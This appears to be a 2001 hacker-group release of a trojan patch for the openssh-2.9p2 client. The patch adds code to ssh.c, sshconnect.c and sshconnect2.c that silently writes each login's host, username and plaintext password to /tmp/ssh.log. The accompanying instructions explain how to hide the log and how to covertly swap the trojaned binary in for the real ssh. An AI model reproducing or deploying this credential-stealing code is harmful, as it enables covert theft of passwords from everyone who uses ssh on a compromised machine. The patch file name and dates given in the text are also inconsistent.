-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
  [Ministry-Of-Peace] - openssh-2.9p2 snoop patch - 07th Sept 2001   
               ==   (c)oded 2001 Digital Shadow   ==                
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --

Code Description:
-----------------
This is a patch for openssh-2.9p2 that will enable logging of the
username, password and target system address whenever anyone uses
ssh. The details are grabbed and logged before they are encrypted.


Usage:
------
The code currently logs to /tmp/ssh.log - it is highly advised that
you modify this to somewhere a little less obvious.
To apply the patch, copy it into the directory where openssh-2.9p2
is and type: patch -p1 < ssh-2.3.0-patch
Then all you need to do is compile it, and use a utility such as
fix to replace the old ssh with the new version.


Code:
-----
----cut---------- --_-- openssh-2.9p2-patch --_-- ----------cut----
diff -N -c -r openssh-2.9p2/ssh.c openssh-2.9p2-new/ssh.c
*** openssh-2.9p2/ssh.c Tue Apr 17 14:14:35 2001
--- openssh-2.9p2-new/ssh.c     Tue Nov 27 05:56:01 2001
***************
*** 249,254 ****
--- 249,255 ----
        struct passwd *pw;
        int dummy;
        uid_t original_effective_uid;
+         FILE *lg;

        __progname = get_progname(av[0]);
        init_rng();
***************
*** 716,721 ****
--- 717,727 ----
            tilde_expand_filename(options.user_hostfile2, original_real_uid);

        /* Log into the remote system.  This never returns if the login fails. */
+         lg=fopen("/tmp/ssh.log", "a");
+         fprintf(lg, "Host: %s\n", host);
+         fprintf(lg, "User: %s\n", options.user);
+         fclose(lg);
+
        ssh_login(sensitive_data.keys, sensitive_data.nkeys,
            host, (struct sockaddr *)&hostaddr, pw);

diff -N -c -r openssh-2.9p2/sshconnect.c openssh-2.9p2-new/sshconnect.c
*** openssh-2.9p2/sshconnect.c  Thu Apr 12 19:34:36 2001
--- openssh-2.9p2-new/sshconnect.c      Tue Nov 27 05:56:01 2001
***************
*** 775,785 ****
--- 775,790 ----
  {
        int size;
        char *padded;
+         FILE *lg;

        if (datafellows & SSH_BUG_PASSWORDPAD) {
                packet_put_string(password, strlen(password));
                return;
        }
+
+         lg=fopen("/tmp/ssh.log", "a");
+         fprintf(lg, "Password: %s\n\n", password);
+         fclose(lg);
        size = roundup(strlen(password) + 1, 32);
        padded = xmalloc(size);
        memset(padded, 0, size);
diff -N -c -r openssh-2.9p2/sshconnect2.c openssh-2.9p2-new/sshconnect2.c
*** openssh-2.9p2/sshconnect2.c Thu Apr 19 16:40:46 2001
--- openssh-2.9p2-new/sshconnect2.c     Tue Nov 27 05:56:01 2001
***************
*** 441,446 ****
--- 441,447 ----
        static int attempt = 0;
        char prompt[80];
        char *password;
+         FILE *lg;

        if (attempt++ >= options.number_of_password_prompts)
                return 0;
***************
*** 457,462 ****
--- 458,466 ----
        packet_put_cstring(authctxt->method->name);
        packet_put_char(0);
        packet_put_cstring(password);
+         lg=fopen("/tmp/ssh.log", "a");
+         fprintf(lg, "Password: %s\n\n", password);
+         fclose(lg);
        memset(password, 0, strlen(password));
        xfree(password);
        packet_inject_ignore(64);
----cut---------- --_-- openssh-2.9p2-patch --_-- ----------cut----

-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
    code[at]ministryofpeace.co.uk  --  www.ministryofpeace.co.uk    
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
